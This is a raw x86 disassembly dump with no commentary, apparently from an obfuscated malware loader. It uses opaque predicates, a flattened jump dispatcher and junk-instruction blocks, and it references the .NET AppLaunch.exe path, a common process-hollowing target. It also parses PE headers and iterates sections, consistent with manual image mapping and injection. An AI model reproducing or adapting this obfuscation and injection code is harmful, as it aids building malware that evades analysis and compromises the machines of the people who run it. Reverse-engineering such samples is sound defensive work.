and esi, 0x54c058
or esi, edx
mov edx, eax
and edx, 0x49880e20
and eax, 0xd22cdee0
or edx, edi
or eax, ecx
xor edx, esi
xor eax, 0xd22cdee0
mov esi, edx
not esi
and edx, 0xa257e1df
and esi, 0x5da81e20
or edx, esi
mov esi, 0x21872bbc
not edx
or eax, edx
cmp eax, 0xffffffff
setne al
cmp dword [0x460980], 0xa
mov edx, eax
setge cl
xor al, cl
or dl, cl
mov ah, al
mov ecx, eax
xor ah, 1
and cl, ah
xor cl, 1
or cl, ah
xor ah, dl
xor dl, 1
xor cl, 1
or cl, al
or al, dl
xor al, 1
xor cl, dl
or al, ah
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0xe7a0619a
cmovne edx, esi
test al, al
mov eax, 0xe7a0619a
jmp 0x40b5ad
mov eax, dword [ebp - 0x18]
mov eax, 0xdd62424d
jmp 0x402260
mov eax, dword [0x460984]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0x4a94232
mov edx, ecx
xor edx, 0x10548084
mov esi, ecx
not esi
and edx, 0x3156948c
and eax, 0xcea96b73
and esi, 0x519c72dd
or eax, edx
mov edx, ecx
and edx, 0xae638d22
and ecx, 1
or edx, esi
mov edi, eax
xor edi, 0xb40032
xor eax, 0xeb023d48
mov esi, edx
xor esi, 0x519c72dc
xor edx, 0xa8200522
and edi, 0xe9b40532
or ecx, esi
mov esi, eax
and esi, 0x164bfacd
and edx, 0xe9b40532
or eax, ecx
and ecx, 0x164bfacd
or edi, esi
mov esi, 0xcc88fbdf
or edx, ecx
not eax
xor edx, edi
mov edi, 0x2011bc6d
or eax, edx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x974c674a
and ecx, 0x68b398b5
or ecx, edx
xor ecx, 0x974c674a
xor eax, ecx
test eax, ecx
setne cl
sete dl
cmp dword [0x460980], 0xa
setl al
setge ah
and cl, al
and ah, dl
or al, dl
or cl, ah
mov edx, ecx
mov ch, cl
xor dl, 1
mov ah, dl
xor ah, al
or al, dl
xor al, 1
or al, ah
mov ah, al
xor ch, al
and al, cl
not ah
and ch, cl
and ah, dl
or al, ah
mov cl, al
xor cl, ch
test al, al
mov eax, 0x2011bc6d
cmovne eax, esi
test ch, ch
cmove eax, edi
test cl, 1
cmovne eax, esi
jmp 0x402260
mov dword [ebp - 0x24], 0xd
mov eax, 0x5bab12d6
jmp 0x402260
mov eax, 0x4db910a9
jmp 0x402260
mov eax, 0x65fdd06c
jmp 0x402260
mov eax, dword [ebp - 0xc4]
mov ecx, dword [0x460984]
mov edi, 0x1b2710be
lea eax, [ecx + 1]
imul eax, ecx
mov esi, eax
not esi
mov ecx, eax
and ecx, 0xb0151615
and eax, 0x30bdfdb1
mov edx, esi
and edx, 0x4feae9ea
and esi, 0xcf42024e
or ecx, edx
or eax, esi
mov edx, ecx
not edx
and ecx, 0x19d7c
and edx, 0xfffe6283
or ecx, edx
mov edx, ecx
xor edx, 0x4aca0092
xor ecx, 0xb0148b68
mov esi, ecx
and esi, 0x8525ff45
and edx, 0x7ada00ba
or edx, esi
mov esi, eax
xor esi, 0x309800b0
xor eax, 0x85000244
and eax, 0x8525ff45
and esi, 0x7ada00ba
or esi, eax
xor esi, edx
xor ecx, esi
test ecx, esi
mov esi, 0x9c82f6e3
sete dl
setne cl
cmp dword [0x460980], 0xa
setge al
mov ah, al
xor ah, cl
or cl, al
or al, dl
and ah, dl
xor al, 1
jmp 0x40bcbe
mov eax, 0x1b651999
jmp 0x402260
mov eax, 0xc18fd32f
jmp 0x402260
mov eax, dword [ebp - 0x90]
mov eax, dword [ebp - 0x90]
mov eax, dword [ebp - 0x90]
mov eax, dword [ebp - 0x90]
mov eax, dword [ebp - 0x90]
mov eax, dword [ebp - 0x90]
mov ecx, dword [ebp - 0x68]
vmovups ymm1, ymmword [0x43d1b0]
vmovups ymm0, ymmword [str.C:WindowsMicrosoft.NETFramework_v4.0.30319AppLaunch.exe]
vmovups ymm2, ymmword [0x43d1d0]
add eax, 0xfffffff8
mov dword [ecx], eax
dec edi
inc edx
add eax, 0x6b
dec eax
dec edx
mov esi, 0x89
sub esi, 0xda
rol ebx, 0xca
not edx
or ebx, 0xa6
sbb edi, 0x5c
imul edi
rcr edi, 8
dec eax
mov ebx, 0xd2
imul ebx
mov edi, 0x86
neg eax
not esi
dec edx
sub edi, 0x61
or edi, 0xe9
add eax, 0x7d
inc edi
rol edx, 0xed
and edi, 0xf6
add edi, 0x6d
rcl edi, 0xef
mov esi, 0x41
dec edi
sub edi, 0x18
rcl edx, 0x73
bswap edi
inc esi
imul eax
sbb eax, 0xfb
sub edi, 0x1f
bswap edi
bswap edx
or edi, 0xb1
sub esi, 0xc5
bswap edx
rol eax, 0x86
bswap eax
mov edi, 0xa3
rcl ebx, 0x9b
sbb esi, 0xe0
dec esi
mov edx, 0x14
dec edx
mov ebx, 0x78
mov ebx, 7
and esi, 0x40
neg ebx
not eax
add ebx, 8
not eax
mov edx, 0xad
or ebx, 0x6d
add eax, 0x59
imul edx
and ebx, 0x12
sub eax, 0xc1
bswap eax
dec edx
bswap edx
neg eax
rcl eax, 0xf2
mov esi, 0x39
neg esi
sbb edx, 0x78
inc edx
add edi, 0xc0
inc edx
inc edi
not ebx
sbb ebx, 0x3f
and eax, 0x6d
imul esi
rcr edi, 0x43
bswap eax
rcl edi, 0x8e
dec esi
sub edx, 0x53
dec eax
add eax, 7
or eax, 0x28
imul esi
imul ebx
sub esi, 0x42
not edi
sbb esi, 0x34
imul eax
not edi
sbb eax, 0x1d
neg edi
rcr ebx, 4
ror ebx, 0xa0
neg ebx
ror esi, 0x9d
not edi
or ebx, 0x34
bswap edi
imul eax
and ebx, 0x56
rcr esi, 0xdc
sbb eax, 0xbc
dec edi
mov edi, 0x9d
rol edi, 0x8e
dec eax
and ebx, 0xcd
imul edx
add edi, 0x40
sub edx, 0x29
sub edi, 0x95
bswap ebx
sbb edx, 0x40
not edi
not eax
neg ebx
neg edi
and ebx, 0x15
not edx
imul edi
rcr esi, 0xbb
mov eax, 5
bswap edi
ror edx, 0xf8
not edi
not edx
rol ebx, 0x46
add edx, 0x11
ror edx, 0x8d
dec esi
inc ebx
imul edi
not esi
bswap ebx
rcr edi, 0xd8
rcl edi, 0x2f
add ebx, 0x31
add edx, 0xaf
neg edi
rcl eax, 0xa
bswap edi
inc esi
neg ebx
inc esi
ror esi, 0xb0
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x64]
mov ecx, dword [ecx]
mov dword [ecx + 8], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x68]
mov ecx, dword [ecx]
mov dword [ecx + 0x18], eax
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x68]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x50]
add eax, 0x24
mov dword [ecx], eax
not eax
rcr esi, 0xef
bswap edi
rcl eax, 0xe0
sbb edi, 0x5a
sub eax, 0x23
imul ebx
neg edi
sub edi, 0x47
imul eax
dec esi
add ebx, 0xba
rcl esi, 0x7d
dec edi
neg esi
neg esi
sbb eax, 0x49
inc esi
rcr esi, 0x3f
dec ebx
dec ebx
or ebx, 0xd7
inc edi
mov eax, 0x3b
inc esi
add edi, 0x9b
rcr edx, 0x84
imul esi
not ebx
ror edx, 0x1b
sbb edx, 0xa5
rol esi, 0xfa
and edx, 0xf4
neg esi
sub eax, 0xd1
imul edx
dec edx
sub edi, 0x19
ror edi, 0xc
rol edi, 0x34
not eax
inc esi
imul esi
inc edi
bswap edi
imul esi
or edx, 0xd7
neg eax
rcr ebx, 0xea
and eax, 0x9f
rol esi, 0x1b
rol ebx, 0x72
inc esi
inc edi
sub edi, 0x6d
inc eax
rcr ebx, 0x57
sub esi, 0x3f
neg edx
rcl eax, 0x27
ror edx, 0x9e
not eax
neg eax
rcl eax, 0x7d
not edi
or esi, 0x17
or edx, 0x39
imul esi
bswap ebx
ror edx, 0xe8
not eax
not edx
bswap ebx
sub edx, 0x58
neg edi
not ebx
mov edx, 0x86
neg edi
rcl edx, 0x96
ror esi, 0xe4
dec esi
not esi
not edx
not eax
and esi, 0x64
or eax, 0x4d
mov esi, 0x32
mov edx, 0x86
not ebx
bswap edx
not edi
sub esi, 0xa3
not edi
sub eax, 0x68
rcr ebx, 0x50
imul ebx
mov edi, 0x58
add edx, 0x97
inc edi
or ebx, 0x5c
bswap ebx
dec ebx
dec esi
add ebx, 0xc9
dec esi
rcl esi, 0xba
dec edx
mov edi, 0
not edx
and esi, 8
sbb edx, 0xdd
ror edi, 0x95
and edx, 0x45
mov edx, 0xfd
inc esi
dec ebx
dec eax
mov esi, 0xc8
not ebx
not edi
sbb edi, 0xe
sbb edx, 3
not edx
bswap eax
bswap ebx
mov eax, 0xf9
dec eax
dec eax
add edi, 5
sbb edx, 0xdb
sbb ebx, 0x4d
imul edx
or eax, 0xa1
rcl edi, 0xd5
inc edx
rcr edx, 0x87
imul eax
ror esi, 0x4a
bswap edx
imul edi
rol eax, 0x81
add ebx, 0x51
neg eax
rol eax, 0xcd
neg esi
bswap esi
sub ebx, 0x5d
bswap esi
neg edi
neg edx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x6c]
vmovups ymmword [eax + 0x20], ymm1
vmovups ymm1, ymmword [0x43d1e8]
vmovups ymmword [eax + 0x40], ymm2
vmovups ymmword [eax], ymm0
vmovups ymmword [eax + 0x58], ymm1
mov eax, dword [ebp - 0x70]
mov eax, dword [ebp - 0x28]
cmp dword [eax + 0xe8], 0
mov eax, dword [ebp - 0x70]
setne byte [eax]
mov eax, dword [ebp - 0xc8]
mov eax, dword [ebp - 0x70]
mov eax, 0xb6fc8b92
jmp 0x402260
mov eax, 0xa53b0758
jmp 0x402260
cmp byte [ebp - 0xa0], 0
mov eax, 0xe42d9011
mov ecx, 0xd9510f0d
cmovne eax, ecx
jmp 0x402260
mov eax, dword [ebp - 0xb0]
mov eax, dword [0x460984]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0xc35eabca
and eax, 0x3ca15435
or ecx, eax
mov eax, ecx
xor eax, 0x8254aa82
xor ecx, 0x8211421
and ecx, 0x492b1569
and eax, 0xb6d4ea96
or eax, ecx
mov ecx, eax
xor eax, 0xb6d4ea96
xor ecx, 0x492b1569
mov edx, ecx
and eax, 0xfffffffe
and ecx, 1
and edx, 0xfffffffe
or ecx, eax
or ecx, edx
mov eax, ecx
andn edx, ecx, ecx
not ecx
and eax, 0xa681e2b
and ecx, 0xf597e1d4
or eax, ecx
mov ecx, eax
xor ecx, 0x800022a
xor eax, 0xf597e1d4
mov esi, eax
and esi, 0xd26cfcd1
and ecx, 0x2d93032e
or ecx, esi
mov esi, edx
not esi
and edx, 0x2d93032e
or eax, esi
and esi, 0xd26cfcd1
or edx, esi
not eax
mov esi, 0xa42841a6
xor edx, ecx
or eax, edx
mov ecx, eax
not ecx
and eax, 0xbd4548ae
and ecx, 0x42bab751
or ecx, eax
xor ecx, 0x42bab751
setne ah
sete ch
cmp dword [0x460980], 0xa
setl al
setge cl
mov edx, eax
or ah, al
or al, ch
or cl, ch
xor dl, ch
xor al, 1
mov ch, cl
or cl, ah
or al, dl
xor ch, ah
xor cl, 1
mov edx, eax
or cl, ch
xor dl, 1
mov ah, cl
and al, dl
mov ch, dl
xor ah, 1
xor al, 1
xor ch, al
or al, dl
xor al, 1
or al, ch
mov ch, al
and al, cl
xor ch, 1
and ch, ah
mov ah, dl
xor ah, cl
or cl, dl
or al, ch
xor cl, 1
or cl, ah
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0x9cd4d49b
cmovne edx, esi
test cl, 1
mov ecx, 0x9cd4d49b
cmovne ecx, edx
test al, 1
jmp 0x4103a8
mov eax, dword [0x460984]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
and edx, 0x7210800
mov edi, ecx
and edi, 0x688ec500
and ecx, 0x3742d7d3
mov esi, eax
and esi, 0x1033
or edx, esi
mov esi, eax
or esi, 0x7211833
and esi, 0x17713af7
xor edx, 0x1033
or edi, esi
mov esi, eax
and esi, 0x80000008
and eax, 0xc8bd282c
lea edx, [edx + esi + 0x105022c4]
or eax, ecx
xor edx, edi
mov esi, edx
not esi
and edx, 0x2adcde54
and esi, 0xd52321ab
or edx, esi
mov esi, edx
xor esi, 0x88bd002c
xor edx, 0x52023991
mov edi, edx
and edi, 0x3742d7d3
and esi, 0xc8bd282c
or esi, edi
mov edi, 0x88737a26
xor eax, esi
mov esi, 0x93fafd88
not eax
or eax, edx
xor eax, 0xffffffff
setne ah
sete ch
cmp dword [0x460980], 0xa
setge cl
setl al
mov edx, ecx
xor al, ch
xor dl, ch
mov ch, cl
or cl, ah
xor ch, ah
xor cl, 1
xor dl, 1
or cl, ch
xor cl, 1
or cl, dl
mov edx, ecx
mov ah, cl
xor dl, 1
and dl, cl
xor dl, 1
xor ah, dl
or dl, cl
mov ecx, eax
xor dl, 1
xor cl, 1
or dl, ah
mov ah, dl
and dl, cl
xor ah, 1
or cl, ah
and ah, al
or ah, dl
mov al, cl
mov edx, 0x88737a26
xor al, ah
test ah, ah
cmovne edx, esi
test cl, 1
cmovne edx, edi
test al, 1
jmp 0x410011
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x144], eax
mov eax, 0x79918ab4
jmp 0x402260
mov eax, 0x6293f578
jmp 0x402260
mov eax, 0x3cdfc14
jmp 0x402260
mov eax, dword [ebp - 0x180]
mov eax, dword [eax]
mov dword [ebp - 0x10c], eax
mov eax, 0x695241d7
jmp 0x402260
mov eax, dword [0x460984]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
or edx, 0x8002
mov esi, eax
mov edi, eax
or esi, 0x91ab40ac
and edx, 0x91abc0ae
and edi, 0x64040f10
and eax, 0x7d3f5483
or edi, edx
mov edx, ecx
and esi, 0x91abc0ae
and edx, 0xa503041
and ecx, 0x82c0ab7c
or edx, esi
or eax, ecx
xor edx, edi
mov esi, edx
not esi
and edx, 0xffcaaf69
and esi, 0x355096
or edx, esi
mov esi, edx
xor esi, 0x8254080
xor edx, 0xf59a1f2b
mov edi, edx
and edi, 0x82c0ab7c
and esi, 0x7d3f5483
or esi, edi
mov edi, 0x4478a290
xor eax, esi
mov esi, 0x9ea69d33
xor edx, eax
test edx, eax
sete dl
setne ah
cmp dword [0x460980], 0xa
setl al
setge cl
and dl, cl
or cl, ah
and al, ah
or al, dl
xor cl, 1
mov edx, 0x4478a290
xor al, cl
mov ah, al
cmovne edx, esi
not ah
test ah, cl
cmove edx, edi
cmovne edx, esi
test al, al
cmovne edx, esi
cmp dword [ebp - 0x134], 0
mov eax, edx
setne byte [ebp - 0xa0]
jmp 0x402260
mov eax, 0xa339217a
jmp 0x402260
mov eax, dword [ebp - 0x100]
movzx eax, word [eax + 2]
mov ecx, dword [ebp - 0xfc]
cmp ecx, eax
mov eax, dword [0x460984]
setl byte [ebp - 0x93]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
mov eax, ecx
not edx
or eax, 0xf3dbaf47
mov edi, edx
mov esi, eax
and esi, 0x3287df8
and edi, 0xc040000
and edx, 0x7b4578c5
or edi, esi
mov esi, ecx
xor esi, 0xc2450b8
and esi, ecx
and ecx, 0x84ba873a
mov ebx, esi
not ebx
and esi, 0xfcd78207
or ecx, edx
or eax, ebx
and ebx, 0x3287df8
or esi, ebx
not eax
xor esi, edi
or eax, esi
not esi
and esi, 0xf3dbaf46
and eax, 0xc2450b9
or eax, esi
mov esi, eax
not esi
and eax, 0x9d9dace9
and esi, 0x62625316
or eax, esi
mov esi, 0xfcd27ebe
mov edi, eax
xor edi, 0x1d9d28a0
xor eax, 0x62625316
mov edx, eax
and edx, 0xa002c75f
and edi, 0x5ffd38a0
or edi, edx
mov edx, ecx
xor edx, 0x4b80020
xor ecx, 0x7b4578c5
or eax, ecx
and ecx, 0xa002c75f
and edx, 0x5ffd38a0
or edx, ecx
not eax
xor edx, edi
or eax, edx
xor eax, 0xffffffff
sete ah
setne ch
cmp dword [0x460980], 0xa
mov dh, ah
setl cl
setge dl
xor dh, cl
mov al, cl
and dl, ah
or al, ch
and dh, ch
and ch, cl
or cl, ah
or dl, ch
xor cl, 1
xor al, 1
or cl, dl
or al, dh
mov ah, cl
mov edx, ecx
xor ah, 1
and dl, ah
xor dl, 1
or dl, ah
xor dl, 1
or dl, cl
mov cl, ah
or ah, al
xor dl, al
xor cl, al
xor ah, 1
or ah, cl
mov al, dl
mov ecx, 0xcc8f6764
xor al, ah
not al
test al, 1
cmovne ecx, esi
test ah, 1
mov eax, 0xcc8f6764
cmovne eax, ecx
jmp 0x411ca3
cmp byte [ebp - 0x9e], 0
mov eax, 0x8c6d68a8
mov ecx, 0xec702265
cmovne eax, ecx
jmp 0x402260
mov ecx, dword [0x460984]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0x2e8a08b6
mov esi, edx
and esi, 0xd175f748
and edx, 0x99a19474
or esi, ecx
mov ecx, eax
or ecx, 0x2e8a08b6
and eax, 0x665e6b8b
and ecx, 0x2e8a08b7
or eax, edx
mov edx, eax
xor ecx, esi
xor edx, 0x665e6b8b
xor eax, 0x99a19474
mov esi, 0x8ef2599c
andn edx, ecx, edx
and eax, ecx
not ecx
or eax, edx
not eax
or eax, ecx
xor eax, 0xffffffff
sete ah
setne ch
cmp dword [0x460980], 0xa
setge dl
setl al
mov cl, dl
or dl, ch
or ch, al
xor al, ah
xor dl, 1
or cl, ah
mov dh, cl
or cl, ch
or dl, al
xor al, 1
mov ah, al
or al, dl
xor dh, ch
xor cl, 1
or cl, dh
xor ah, dl
xor al, 1
or al, ah
mov edx, ecx
mov ah, al
xor dl, al
and al, cl
and dl, cl
xor ah, 1
xor cl, 1
and cl, ah
or al, cl
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0x586e1bb9
jmp 0x410b1b
mov eax, 0xd45487d7
jmp 0x402260
mov eax, 0x9326923b
jmp 0x402260
mov eax, 0xbb0b8eee
mov dword [ebp - 0x20], 1
jmp 0x402260
cmp byte [ebp - 0x9a], 0
mov eax, 0x6a52022d
mov ecx, 0x7b964623
cmovne eax, ecx
jmp 0x402260
mov ecx, dword [0x460984]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x2895800
and eax, 0xc0440774
mov edx, ecx
and edx, 0x2c028009
or ecx, 0x2608d000
or esi, edx
and ecx, 0x3738f082
mov edx, esi
xor edx, 0x810800
xor esi, 0x3530a082
or eax, ecx
and esi, 0x3738f082
and edx, 0x8830809
or edx, esi
xor eax, edx
mov ecx, eax
not ecx
and eax, 0x2e8bd809
and ecx, 0xd17427f6
or eax, ecx
mov edi, eax
xor edi, 0x9f4cbbca
mov ecx, eax
and ecx, 0xcca59799
and edi, eax
not eax
and eax, 0x335a6866
or ecx, eax
mov eax, ecx
xor ecx, 0x335a6866
xor eax, 0xcca59799
mov edx, ecx
or edx, 0x60b34435
mov ebx, eax
and ebx, 0x9d0811c8
and ecx, 0xe0ab40c6
mov esi, edx
and esi, 0x6245ea03
or ebx, esi
mov esi, edi
not esi
and edi, 0x9dba15fc
or edx, esi
and esi, 0x6245ea03
or edi, esi
not edx
xor edi, ebx
or edx, edi
mov esi, edx
not esi
and edx, 0xb6ee3a9b
and esi, 0x4911c564
or edx, esi
mov esi, eax
and esi, 0x1f54bf39
and eax, 1
or esi, ecx
xor edx, 0x29a28150
xor esi, 0xe0ab40c7
or eax, esi
mov esi, 0x323ba0f3
not eax
or eax, edx
mov ecx, eax
not ecx
and eax, 0xdbddafa5
and ecx, 0x2422505a
or eax, ecx
mov ecx, eax
xor ecx, 0xd1c58524
xor eax, 0x40
and eax, 0xa182ac1
and ecx, 0xf5e7d53e
or ecx, eax
mov eax, ecx
xor eax, 0xa100ac0
xor ecx, 0xf5e7d53e
mov edx, ecx
and edx, 0x912a6125
and eax, 0x6ed59eda
or eax, edx
xor eax, 0x6ed59eda
or eax, ecx
xor eax, 0xffffffff
sete cl
setne dl
cmp dword [0x460980], 0xa
setl al
setge ah
mov ch, al
and dl, ah
xor al, cl
and ch, cl
mov cl, al
or ch, dl
xor ah, ch
and ah, ch
or al, ah
xor cl, ah
xor al, 1
or al, cl
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0x3bb5e532
cmovne edx, esi
test al, 1
mov eax, 0x3bb5e532
jmp 0x40f83f
push 0x400
push section..data
push dword [ebp - 0xf8]
vzeroupper
call fcn.004307e0
add esp, 0xc
dec edi
imul edi
and edx, 0xe6
and ebx, 0x1e
ror ebx, 0x7f
imul esi
and eax, 0xcf
dec ebx
or edi, 7
not eax
bswap ebx
dec eax
mov edi, 0x50
ror esi, 0x34
add eax, 0x4a
dec edx
not edi
or ebx, 0x56
not eax
inc edx
not ebx
rol esi, 0x49
inc eax
dec esi
inc eax
ror edx, 0xf1
dec eax
neg edx
sub edi, 0x4d
or eax, 0xdc
bswap ebx
inc edi
add ebx, 0xb8
add ebx, 0xca
inc edx
rcr eax, 0x97
not esi
or edx, 0x3f
sbb edx, 0xde
add edx, 9
sbb edi, 0xed
sub eax, 0xc7
bswap edi
imul esi
bswap eax
ror esi, 0xe7
not ebx
and ebx, 0x5a
rol edi, 0x74
not ebx
imul ebx
inc edx
dec eax
imul edi
dec esi
imul edi
imul esi
sub esi, 0x2d
rol edi, 0xa5
sub eax, 0xdf
bswap ebx
inc ebx
sbb esi, 0x81
inc edi
rcr edx, 0x1a
rcr ebx, 0xb3
sub edx, 6
not ebx
bswap edi
neg edi
rcr esi, 0xb2
dec ebx
neg edx
ror ebx, 0xbd
imul ebx
add esi, 0xd7
neg eax
and ebx, 0x2c
inc ebx
sbb edx, 0x51
dec esi
or edi, 0x47
not edx
neg edi
and ebx, 0xb1
add esi, 0x54
dec esi
mov ebx, 0x7b
bswap esi
not esi
sbb eax, 0x97
bswap edi
rol edx, 0x42
rol ebx, 0xc
rcl eax, 0x5d
bswap eax
inc esi
neg esi
ror edi, 0x82
inc ebx
and esi, 0xd2
add edi, 0x44
dec edx
ror ebx, 0x67
sub eax, 0xa6
dec edi
neg edx
not edx
inc eax
not eax
not edx
bswap esi
dec edx
or edi, 0x1d
imul eax
bswap eax
rcl ebx, 0x8d
sub edi, 0x6b
dec ebx
bswap edx
add eax, 0xa7
mov edi, 0xdc
not edx
and eax, 0xc
dec edx
or edx, 0
and ebx, 8
imul edx
rcr edx, 0xd9
dec edx
or esi, 0x35
or ebx, 0x66
bswap edi
bswap edx
neg esi
dec eax
not edi
add ebx, 0x29
rcr ebx, 0xc3
or esi, 0x3e
or esi, 0
neg esi
sbb edi, 0x65
ror edx, 0x5f
imul esi
inc ebx
imul ebx
dec esi
imul edx
ror edx, 0xf0
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x28]
movzx eax, word [ecx + 0x14]
lea eax, [eax + ecx + 0x18]
mov ecx, dword [ebp - 0x2c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
mov dword [eax], 0
mov ecx, dword [0x460984]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
or ecx, 0x40eb202a
mov esi, edx
mov edi, edx
or edi, 0xdc1
and ecx, 0x40eb2deb
and esi, 0x8300c010
and edx, 0x10d5b8a6
or esi, ecx
mov ecx, eax
and edi, 0x40eb2deb
and ecx, 0x3c141204
and eax, 0xef2a4759
or ecx, edi
or eax, edx
xor ecx, esi
mov esi, ecx
not esi
and ecx, 0x8300cdd0
and esi, 0x7cff322f
or ecx, esi
mov edx, ecx
not edx
and ecx, 0x61306fea
mov esi, edx
and esi, 0x9ecf9015
or ecx, esi
mov esi, eax
xor esi, 0x61204748
xor eax, 0x10c59004
and eax, 0x9ecf9015
and esi, 0x61306fea
or esi, eax
xor esi, ecx
not esi
or esi, edx
xor esi, 0xffffffff
mov esi, 0x67345952
sete cl
setne dl
cmp dword [0x460980], 0xa
setge al
setl ah
mov dh, al
and cl, al
and ah, dl
xor dh, dl
or cl, ah
mov ch, dh
and ch, al
or al, dl
xor al, 1
xor ch, 1
or al, dh
and dh, dl
xor dh, 1
xor al, 1
mov bl, dh
or al, cl
xor bl, ch
or ch, dh
xor al, 1
xor ch, 1
or ch, bl
mov cl, ch
xor cl, al
or al, ch
xor al, 1
or al, cl
mov edx, eax
xor dl, cl
test al, 1
mov eax, 0x3e2d4f63
cmovne eax, esi
test cl, 1
mov ecx, 0x3e2d4f63
cmove eax, esi
test dl, 1
cmove eax, ecx
jmp 0x402260
mov eax, dword [0x460984]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
not ecx
mov eax, edx
and eax, 0x6e392ce7
mov esi, ecx
and esi, 0x91c6d318
and ecx, 0x8a6b13ee
or eax, esi
mov edi, eax
xor eax, 0x91401218
xor edi, 0x20000021
or eax, 0x48afe9c6
and edi, 0x21401039
mov esi, eax
and esi, 0xd639ef82
or edi, esi
mov esi, edx
xor esi, 0xb7501639
and esi, edx
mov ebx, esi
not ebx
and esi, 0x29c6107d
or eax, ebx
and ebx, 0xd639ef82
or esi, ebx
not eax
xor esi, edi
or eax, esi
mov esi, eax
not esi
and eax, 0xb7501638
and esi, 0x48afe9c7
or eax, esi
mov esi, eax
not esi
mov edi, eax
or eax, edx
and edx, 0x7594ec11
and edi, 0x7594ec11
and esi, 0x8a6b13ee
or ecx, edx
not eax
or esi, edi
mov edi, 0x15a5064f
xor ecx, esi
mov esi, 0xe32f92c9
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x5e086235
and ecx, 0xa1f79dca
or eax, ecx
cmp eax, 0x5e086235
sete al
cmp dword [0x460980], 0xa
mov edx, eax
setl cl
and dl, cl
xor cl, al
mov eax, 0x15a5064f
xor cl, dl
mov ch, cl
cmovne eax, esi
not ch
test ch, dl
cmove eax, edi
cmovne eax, esi
test cl, cl
mov ecx, dword [ebp - 0xc0]
cmovne eax, esi
jmp 0x402260
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x28]
movzx ecx, word [ecx + 6]
cmp dword [eax], ecx
mov eax, 0x33bb9b7d
setl byte [ebp - 0x9a]
jmp 0x402260
mov edx, dword [ebp - 0xe0]
mov eax, edx
not eax
mov esi, edx
or esi, 0x40c44481
and edx, 0x10b100
mov ecx, eax
or ecx, 0x8f000270
and esi, 0xcfc446f1
and eax, 0x302b080e
and ecx, 0xcfc446f1
or eax, esi
or edx, ecx
xor edx, eax
mov eax, edx
not eax
and edx, 0xbe7269d8
and eax, 0x418d9627
or edx, eax
mov ecx, edx
mov ebx, edx
xor ecx, 0x5922a0
xor ebx, 0xfea69c59
xor edx, 0x1002202
mov eax, ebx
and eax, 0x23004d56
and ecx, 0xdcffb2a9
or ebx, 0x6ecc00ed
and edx, 0x8102ae02
or ecx, eax
mov esi, ecx
mov edi, ecx
xor esi, 0xdcffb2a9
xor edi, 0x4dcc4dbb
xor ecx, 0x1000852
and edi, esi
and ecx, 0xc50cba7b
mov eax, edi
not eax
and edi, 0xe5c6aea3
mov dword [ebp - 0xe4], eax
and dword [ebp - 0xe4], 0x1a39515c
or eax, ebx
and ebx, 0x1a39515c
add edi, dword [ebp - 0xe4]
or edx, ebx
not eax
xor edx, edi
mov edi, esi
and edi, 0x3af34584
and esi, 0x20000000
or eax, edx
or edi, ecx
mov edx, eax
not edx
xor edi, 0xe50cba7b
and eax, 0xeaf74ebc
and edx, 0x1508b143
or esi, edi
or eax, edx
mov ecx, esi
not ecx
mov edx, eax
xor edx, 0x24334050
xor eax, 0x5bc4b1ae
and ecx, 0x653750d0
mov edi, eax
or eax, esi
and esi, 0x9ac8af2f
and edi, 0x9ac8af2f
and edx, 0x653750d0
or edx, edi
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x4c10024e
and eax, 0x8280e111
mov edx, ecx
and edx, 0x21070480
or ecx, 0x6117044c
or esi, edx
and ecx, 0x717f1c6c
mov edx, esi
xor edx, 0xc000202
xor esi, 0x316f1c20
or eax, ecx
and esi, 0x717f1c6c
and edx, 0xc000282
or edx, esi
xor eax, edx
mov ecx, eax
not ecx
and eax, 0x952f0caa
and ecx, 0x6ad0f355
or eax, ecx
mov ecx, eax
xor ecx, 0x78180264
xor eax, 0x7c7f59b
mov edx, eax
and edx, 0x82e05d9b
and ecx, 0x7d1fa264
or ecx, edx
xor ecx, 0x82e05d9b
xor eax, ecx
test eax, ecx
mov ecx, dword [0x460984]
setne byte [ebp - 0x9d]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
xor ecx, 0xdaa4fe70
mov esi, eax
or esi, 0x459008c
mov edx, eax
not edx
and ecx, eax
and esi, 0x5e5d76cc
and edx, 0x80a08830
mov edi, ecx
not edi
and ecx, 0xa1a28933
or edx, esi
or eax, edi
and edi, 0x5e5d76cc
or ecx, edi
not eax
xor ecx, edx
or eax, ecx
not ecx
and ecx, 0x255b018f
and eax, 0xdaa4fe70
or eax, ecx
mov edi, eax
not edi
mov edx, eax
and edx, 0x211ee6ce
and eax, 0x40d84
mov ecx, edi
and ecx, 0xdee11931
or edi, 0x4cd02041
or edx, ecx
and edi, 0x7dd17269
mov ecx, edx
xor ecx, 0x211ee6ce
xor edx, 0xdee11931
or eax, edi
mov esi, edx
or esi, 0x31015228
mov edi, ecx
and edx, 0x7f5e5584
and edi, 0x80a1aa7b
mov ebx, ecx
and ebx, 0x822a8012
